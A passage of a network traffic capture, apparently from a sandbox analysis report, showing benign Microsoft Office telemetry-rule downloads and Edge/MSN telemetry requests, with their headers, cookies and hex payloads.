'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Wed, 30 Oct 2024 17:06:46 GMT Connection: close Set-Cookie: MUID=311B07FABF2766581F4512D2BE2F679C; domain=.bing.com; expires=Mon, 24-Nov-2025 17:06:46 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=311B07FABF2766581F4512D2BE2F679C; expires=Mon, 24-Nov-2025 17:06:46 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=1E57C2A1C6CC6F372F6FD789C7C46EF7; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Mon, 24-Nov-2025 17:06:46 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Fri, 30-Oct-2026 17:06:46 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Fri, 30-Oct-2026 17:06:46 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=0E7B0766481E45DEBA5C11D7C2B15611&dmnchg=1; domain=.bing.com; expires=Fri, 30-Oct-2026 17:06:46 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241030; domain=.bing.com; expires=Fri, 30-Oct-2026 17:06:46 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Fri, 30-Oct-2026 17:06:46 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=1E57C2A1C6CC6F372F6FD789C7C46EF7; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.bb3a2f17.1730308006.37df4b5f

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49893	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:46 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ea5c4bf4-701e-000d-56e3-256de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170646Z-r1755647c66gqcpzhw8q9nhnq000000008zg000000009kke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:46 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49895	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:46 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 44c43cee-601e-003e-459c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170646Z-17fbfdc98bb2rxf2hfvcfz54000000000670000000006f0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49897	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:46 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dc27e692-e01e-001f-1e67-281633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170646Z-17fbfdc98bblfj7gw4f18guu2800000009t000000000529k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49899	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:46 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170646Z-r1755647c66tsn7nz9wda692z000000006n0000000008622 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:47 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49898	20.189.173.15	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	1090	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308002024&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4132 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1; _C_ETH=1; msnup=
2024-10-30 17:06:46 UTC	4132	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 30 54 31 37 3a 30 36 3a 34 32 2e 30 31 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 36 31 62 32 37 36 65 2d 61 38 30 31 2d 34 31 33 62 2d 61 36 62 61 2d 65 33 39 31 36 36 35 30 35 62 65 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 36 32 30 35 39 30 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-10-30T17:06:42.019Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"c61b276e-a801-413b-a6ba-e39166505be9","epoch":"2262059038"},"app":{"locale
2024-10-30 17:06:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1c955494274948c0830b098d15c2bbff&HASH=1c95&LV=202410&V=4&LU=1730308007108; Domain=.microsoft.com; Expires=Thu, 30 Oct 2025 17:06:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=30a60ec56ae944f095560bde6bcf4c70; Domain=.microsoft.com; Expires=Wed, 30 Oct 2024 17:36:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 5084 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 30 Oct 2024 17:06:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49900	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:46 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:47 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: de1a9787-701e-006f-48ae-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170647Z-r1755647c66hxv26qums8q8fsw00000006c0000000008b72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:47 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49901	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:47 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 071448c9-d01e-0028-2702-297896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170647Z-r1755647c66gqcpzhw8q9nhnq0000000090g000000007y7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:47 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49896	20.125.209.212	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	1279	OUT	GET /c.gif?rnd=1730308002026&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=afd58c2af93748d98c213ba21956ddf0&activityId=afd58c2af93748d98c213ba21956ddf0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=4396C62932074923A9491A528DC91D11&MUID=3A3C51D39FB2654125F844FB9EBA64FA HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1; _C_ETH=1; msnup=; SM=T
2024-10-30 17:06:47 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3A3C51D39FB2654125F844FB9EBA64FA; domain=.msn.com; expires=Mon, 24-Nov-2025 17:06:47 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3A3C51D39FB2654125F844FB9EBA64FA; domain=c.msn.com; expires=Mon, 24-Nov-2025 17:06:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 06-Nov-2024 17:06:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 30-Oct-2024 17:16:47 GMT; path=/; SameSite=None; Secure; Date: Wed, 30 Oct 2024 17:06:47 GMT Connection: close Content-Length: 42
2024-10-30 17:06:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49902	20.189.173.15	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308005972&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11526 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1; _C_ETH=1; msnup=
2024-10-30 17:06:47 UTC	11526	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 33 30 54 31 37 3a 30 36 3a 34 35 2e 39 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 36 31 62 32 37 36 65 2d 61 38 30 31 2d 34 31 33 62 2d 61 36 62 61 2d 65 33 39 31 36 36 35 30 35 62 65 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 36 32 30 35 39 30 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-30T17:06:45.944Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"c61b276e-a801-413b-a6ba-e39166505be9","epoch":"2262059038"},"app":{"locale
2024-10-30 17:06:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=866918aa5a8745c9aa5548a8d34b272f&HASH=8669&LV=202410&V=4&LU=1730308007324; Domain=.microsoft.com; Expires=Thu, 30 Oct 2025 17:06:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3e46f7dfe42d44918539fed408b48183; Domain=.microsoft.com; Expires=Wed, 30 Oct 2024 17:36:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1352 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 30 Oct 2024 17:06:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49903	20.189.173.15	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:47 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730308005983&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4870 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1; _C_ETH=1; msnup=
